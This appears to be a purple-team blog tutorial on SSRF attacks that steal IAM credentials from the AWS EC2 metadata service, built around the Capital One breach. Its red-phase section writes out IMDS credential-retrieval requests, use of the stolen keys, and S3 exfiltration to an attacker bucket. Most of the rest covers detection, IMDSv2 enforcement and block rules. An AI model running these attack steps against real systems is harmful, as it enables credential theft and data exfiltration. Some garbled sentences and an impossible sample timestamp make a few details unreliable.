What Is Purple Team? → OWASP Top 10 Cloud → Breach Landscape 2020–2025 → Broken Access Control → MFA Fatigue → CI/CD Secrets → SSRF to Cloud Metadata
TL;DR
- SSRF cloud metadata attack is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach
169.254.169.254— the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication - IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient
- Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement
- IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation;
--http-tokens requiredis the one-line enforcement - Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer
- The structural fix is eliminating the credential entirely: OIDC workload identity eliminates static credentials replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal
OWASP Mapping: A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.
The Big Picture
┌─────────────────────────────────────────────────────────────────────────┐
│ SSRF → IMDS → CREDENTIAL CHAIN │
│ │
│ ATTACKER │
│ │ │
│ │ 1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.) │
│ │ │
│ ▼ │
│ WEB APP / WAF (running on EC2) │
│ │ │
│ │ 2. App follows attacker-controlled URL │
│ │ GET http://169.254.169.254/latest/meta-data/ │
│ │ iam/security-credentials/ROLE_NAME │
│ ▼ │
│ EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required) │
│ │ │
│ │ 3. Returns JSON: AccessKeyId, SecretAccessKey, Token │
│ ▼ │
│ ATTACKER (now has temporary IAM credentials) │
│ │ │
│ │ 4. aws sts get-caller-identity → confirm identity │
│ │ 5. aws s3 ls → enumerate all accessible buckets │
│ │ 6. aws s3 cp s3://target-bucket/ . --recursive │
│ ▼ │
│ 100M+ customer records exfiltrated │
│ │
│ ───────────────────────────────────────────────────────────────── │
│ IMDSv2 BREAKS THIS CHAIN AT STEP 2 │
│ PUT /latest/api/token required first → SSRF can't follow │
│ (SSRF typically cannot initiate a PUT before a GET) │
│ │
└─────────────────────────────────────────────────────────────────────────┘
The SSRF cloud metadata attack chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.
The Incident: Capital One (2019)
In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.
The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF’s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.
The attack chain, reconstructed from court documents and Capital One’s public disclosures:
1. Identify SSRF in WAF
├── WAF accepts HTTP requests and forwards them to backend
└── Attacker crafts request that causes WAF to make outbound HTTP call
to attacker-controlled destination — confirms SSRF exists
2. Target the IMDS endpoint
└── http://169.254.169.254/latest/meta-data/iam/security-credentials/
(link-local address, reachable only from within the EC2 instance)
3. Enumerate the attached role
└── http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ returns role name: "capital-one-waf-role" (illustrative)
4. Retrieve the credentials
└── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
→ returns: AccessKeyId, SecretAccessKey, Token, Expiration
5. Export credentials to attacker-controlled system
└── The SSRF response body contains the JSON credential blob
Attacker exfiltrates the JSON out-of-band
6. Use credentials from external system
├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
├── aws sts get-caller-identity → confirm IAM role identity
├── aws s3 ls → lists all S3 buckets the role can see
└── aws s3 cp s3://[capital-one-bucket]/ . --recursive
→ 106 million customer records
→ 140,000 Social Security numbers
→ 80,000 bank account numbers
IMDSv1 required no authentication. The WAF’s attached IAM role had s3:GetObject and s3:ListBucket permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.
Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.
The revelation that the industry took away: IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials. The SSRF doesn’t need to be severe or complex. It just needs to reach 169.254.169.254.
Red Phase: How the Attack Works
What SSRF Is
Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker’s choosing. The server acts as a proxy: the request originates from the server’s network context, not the attacker’s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.
SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:
– Image URL upload/preview (e.g., “fetch this avatar URL”)
– Webhook configuration (server calls a URL you provide)
– PDF generation from URL
– Reverse proxies and WAFs with request-forwarding rules
– Server-side URL validation endpoints
Why the Metadata Endpoint Is the Target
169.254.169.254 is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.
The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.
# (IMDSv1 — no token required, works with a plain curl)
# Step 1: Enumerate what's available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole
# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
The response from Step 2 looks like this:
{
"Code": "Success",
"LastUpdated": "2019-03-22T18:03:30Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAQFAKEKEYIDEXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY",
"Token": "FQoDYXdzEJr//////////wEa...very-long-session-token...==",
"Expiration": "2019-03-22T24:03:30Z"
}
These are real, valid AWS temporary credentials. The Token field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.
The Full Attack Chain
Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:
Step 1: Confirm the SSRF and find the metadata endpoint
# Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header
# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed
Step 2: Exfiltrate credentials via SSRF
# Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON
Step 3: Use credentials from attacker’s system
# Export the stolen credentials
export AWS_ACCESS_KEY_ID="ASIAQFAKEKEYIDEXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY"
export AWS_SESSION_TOKEN="FQoDYXdzEJr...=="
# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid
{
"UserId": "AROAQFAKEUSERID:i-01234567890abcdef0",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0"
}
Step 4: Enumerate and exfiltrate
# List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on
# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50
# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
--policy-source-arn "arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0" \
--action-names "s3:GetObject" "s3:PutObject" "ec2:DescribeInstances" "iam:ListRoles" \
--query 'EvaluationResults[?EvalDecision==`allowed`].EvalActionName' \
--output text
# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/
Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances
Before running detection controls, confirm which of your instances are still vulnerable:
# Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable
# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0
# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
--instance-ids i-01234567890abcdef0 \
--query 'Reservations[].Instances[].MetadataOptions'
[
{
"State": "applied",
"HttpTokens": "optional", ← "optional" means IMDSv1 is still enabled
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled",
"HttpProtocolIpv6": "disabled",
"InstanceMetadataTags": "disabled"
}
]
"HttpTokens": "optional" means IMDSv1 is still active. Any SSRF in the instance’s software stack can reach these credentials without a token.
# Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{
InstanceId: InstanceId,
Name: Tags[?Key==`Name`].Value | [0],
HttpTokens: MetadataOptions.HttpTokens,
HopLimit: MetadataOptions.HttpPutResponseHopLimit
}' \
--output table | \
grep -E "optional|INSTANCE"
# Any row showing "optional" is IMDSv1-exposed
Blue Phase: Detection
What CloudTrail Logs When IMDS Credentials Are Abused
The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker’s use of the stolen credentials is what generates logs. The key signal is GetCallerIdentity from an unusual source IP paired with the instance role’s ARN appearing in CloudTrail from an IP that is not the instance itself.
# Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE="MyApplicationRole"
INSTANCE_IP="10.0.1.50" # Your instance's known IP
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
--start-time "$(date -d '7 days ago' --iso-8601=seconds)" \
--query 'Events[].CloudTrailEvent' \
--output text | \
jq -r 'fromjson |
select(.userIdentity.sessionContext.sessionIssuer.userName == "'"${DETECTOR_ROLE}"'") |
{
time: .eventTime,
event: .eventName,
sourceIP: .sourceIPAddress,
userAgent: .userAgent,
region: .awsRegion,
roleArn: .userIdentity.arn
}' | \
jq "select(.sourceIP != \"${INSTANCE_IP}\")"
# Any result here = role credentials being used from outside the instance
The tell: the userIdentity.arn will contain the instance ID as the role session name (e.g., assumed-role/MyApplicationRole/i-01234567890abcdef0). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.
GuardDuty: The Purpose-Built Finding
GuardDuty has a specific finding for exactly this scenario:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.
# Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)
aws guardduty list-findings \
--detector-id "${DETECTOR_ID}" \
--finding-criteria '{
"Criterion": {
"type": {
"Equals": [
"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS",
"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS"
]
}
}
}' \
--query 'FindingIds' --output text | \
xargs -n 10 aws guardduty get-findings \
--detector-id "${DETECTOR_ID}" \
--finding-ids | \
jq '.Findings[] | {
type: .Type,
severity: .Severity,
instance: .Resource.InstanceDetails.InstanceId,
role: .Resource.AccessKeyDetails.UserName,
externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
firstSeen: .Service.EventFirstSeen,
lastSeen: .Service.EventLastSeen
}'
A second finding to watch:
Recon:IAMUser/UserPermissions — fires when the stolen credentials are used to enumerate IAM permissions (the iam:SimulatePrincipalPolicy call from the attacker’s Step 4 above). Often appears immediately before the data exfiltration events.
VPC Flow Logs: Connections to 169.254.169.254
VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:
# Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)
SELECT
srcaddr,
dstaddr,
srcport,
dstport,
protocol,
packets,
bytes,
action,
log_status,
from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
dstaddr = '169.254.169.254'
AND action = 'ACCEPT'
AND from_unixtime(start) > current_timestamp - interval '24' hour
ORDER BY start_time DESC;
If you see source IPs in this query that are not your EC2 instance’s primary private IP — for example, container IPs within the pod CIDR — and you have --http-put-response-hop-limit 1 set, those requests should be failing. If they’re succeeding, the hop limit is not enforced.
IMDSv2 Hop Limit: Why It Blocks Containerized Attacks
The hop limit is a separate defense from the token requirement. With --http-put-response-hop-limit 1, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:
Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint
That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if --http-tokens required is also set — is rejected.
Hop limit = 1:
Container → veth → [TTL=0, packet dropped]
IMDS never receives the PUT, never issues a token
Hop limit = 2 (required for EKS with IMDS access):
Container → veth → host → IMDS
Token is issued; GET with token succeeds
← Use this only when container workloads legitimately need IMDS
For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via OIDC workload identity eliminates static credentials — pods get short-lived tokens scoped to their service account, not the node’s IAM role.
Purple Phase: Structural Fixes
Fix 1: Enforce IMDSv2 — The Non-Negotiable Control
This is not optional. Every EC2 instance running production workloads should have --http-tokens required. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.
# Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Verify the change took effect
aws ec2 describe-instances \
--instance-ids i-1234567890abcdef0 \
--query 'Reservations[].Instances[].MetadataOptions'
# "HttpTokens": "required" confirms IMDSv2 is enforced
# Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
--launch-template-id lt-0abcdef1234567890 \
--source-version '$Latest' \
--launch-template-data '{
"MetadataOptions": {
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}'
# Set this new version as the default
aws ec2 modify-launch-template \
--launch-template-id lt-0abcdef1234567890 \
--default-version '$Latest'
# Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently "optional"
aws ec2 describe-instances \
--query 'Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId' \
--output text | \
tr '\t' '\n' | \
while read instance_id; do
echo "Enforcing IMDSv2 on: $instance_id"
aws ec2 modify-instance-metadata-options \
--instance-id "$instance_id" \
--http-tokens required \
--http-put-response-hop-limit 1
done
Fix 2: SCP to Block IMDSv1 Org-Wide
An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can’t accidentally revert it.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequireIMDSv2OnNewInstances",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
},
{
"Sid": "DenyIMDSv1ReEnablement",
"Effect": "Deny",
"Action": "ec2:ModifyInstanceMetadataOptions",
"Resource": "*",
"Condition": {
"StringEquals": {
"ec2:MetadataHttpTokens": "optional"
}
}
}
]
}
Apply this SCP to all OUs except the management account. New ec2:RunInstances calls that don’t include MetadataOptions.HttpTokens=required will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.
Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely
Enforcing IMDSv2 removes the SSRF-to-IMDS path. OIDC workload identity eliminates static credentials removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.
For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod’s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node’s instance profile requires no IAM permissions for application workloads.
# EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
--cluster-name my-cluster \
--namespace my-app \
--service-account my-app-sa \
--role-arn arn:aws:iam::123456789012:role/my-app-role
# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials
Fix 4: Restrict SSRF at the Network and Application Layer
IMDSv2 enforcement is the primary control. Defence in depth adds:
# WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:
# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
--name "BlockSSRFToIMDS" \
--scope REGIONAL \
--capacity 10 \
--rules '[
{
"Name": "BlockIMDSAccess",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "169.254.169.254",
"FieldToMatch": {"QueryString": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
"Action": {"Block": {}},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockIMDSAccess"
}
}
]' \
--visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS
# Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary
# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
-m owner --uid-owner 1001 \
-d 169.254.169.254 \
-j REJECT \
--reject-with icmp-port-unreachable
# Only the instance's AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly
Note: iptables-based egress filtering is a secondary control. A root process, or any process with CAP_NET_ADMIN, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.
⚠ Production Gotchas
Legacy AWS SDK versions that only support IMDSv1. AWS SDK for Java v1 and Python (boto3 < 1.9.220) do not support IMDSv2 by default. Enforcing --http-tokens required on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule ec2-imdsv2-check flags non-compliant instances but does not check SDK versions — that inventory step is manual.
# Check boto3 version on an instance
python3 -c "import boto3; print(boto3.__version__)"
# Requires >= 1.9.220 for IMDSv2 support
# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name "aws-java-sdk-core-*.jar" 2>/dev/null | \
while read jar; do
unzip -p "$jar" META-INF/MANIFEST.MF 2>/dev/null | grep "Implementation-Version"
done
# AWS SDK for Java v1 < 1.11.678 does not support IMDSv2 by default
EKS node groups and hop limit 2. If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The aws eks create-managed-node-group default is hop limit 2 for this reason; you can reduce it once you’ve confirmed nothing breaks.
GuardDuty’s 5–15 minute detection delay. UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.
# EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty's delayed finding)
aws events put-rule \
--name "S3DataEventFromUnexpectedSource" \
--event-pattern '{
"source": ["aws.s3"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["s3.amazonaws.com"],
"eventName": ["GetObject"],
"userIdentity": {
"sessionContext": {
"sessionIssuer": {
"userName": ["MyApplicationRole"]
}
}
}
}
}' \
--state ENABLED
Disabling the IMDS endpoint entirely. You can set --http-endpoint disabled to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.
Quick Reference
IMDSv1 vs IMDSv2
| Attribute | IMDSv1 | IMDSv2 |
|---|---|---|
| Authentication | None — any HTTP GET works | PUT to /latest/api/token required first to obtain a session token |
| SSRF exploitable | Yes — one HTTP request returns credentials | No — SSRF cannot initiate a PUT before a GET in standard flows |
| Session token TTL | N/A | 1 second to 21,600 seconds (configurable) |
| Hop limit enforcement | N/A | Enforced on PUT — TTL=1 blocks containers from reaching IMDS |
| AWS CLI enforcement | --http-tokens optional (default on old instances) |
--http-tokens required |
| Capital One risk | Present | Eliminated |
IMDSv2 Enforcement Commands by Provider
| Provider | Enforcement Command | Scope |
|---|---|---|
| AWS — running instance | aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-put-response-hop-limit 1 |
Single instance |
| AWS — launch template | Add "MetadataOptions": {"HttpTokens": "required"} to launch template data |
All instances from template |
| AWS — org SCP | Deny ec2:RunInstances where ec2:MetadataHttpTokens != required |
All accounts in org |
| AWS — Config rule | ec2-imdsv2-check managed rule |
Compliance audit |
| GCP | GCP does not have an unauthenticated IMDS equivalent; Metadata Server requires Metadata-Flavor: Google header — this header cannot be set via SSRF in most frameworks |
N/A |
| Azure | Azure IMDS requires Metadata: true header — browser/SSRF requests typically cannot set this; additionally, IMDS returns only non-credential metadata by default (credentials via Managed Identity have their own endpoint with additional controls) |
N/A |
Note on GCP and Azure: Both providers designed their metadata services with SSRF resistance in mind. The
Metadata-Flavor: GoogleandMetadata: trueheaders must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.
Key Takeaways
- IMDSv1 has no authentication: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required
- The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale
--http-tokens requiredis the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable- GuardDuty’s
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltrationfinding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting - The structural solution eliminates the credential entirely: OIDC workload identity eliminates static credentials on EKS/GKE means pods get scoped, short-lived tokens; the node’s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful
What’s Next
SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn’t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: hostPID, hostNetwork, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.
Get EP08 in your inbox when it publishes → linuxcent.com/subscribe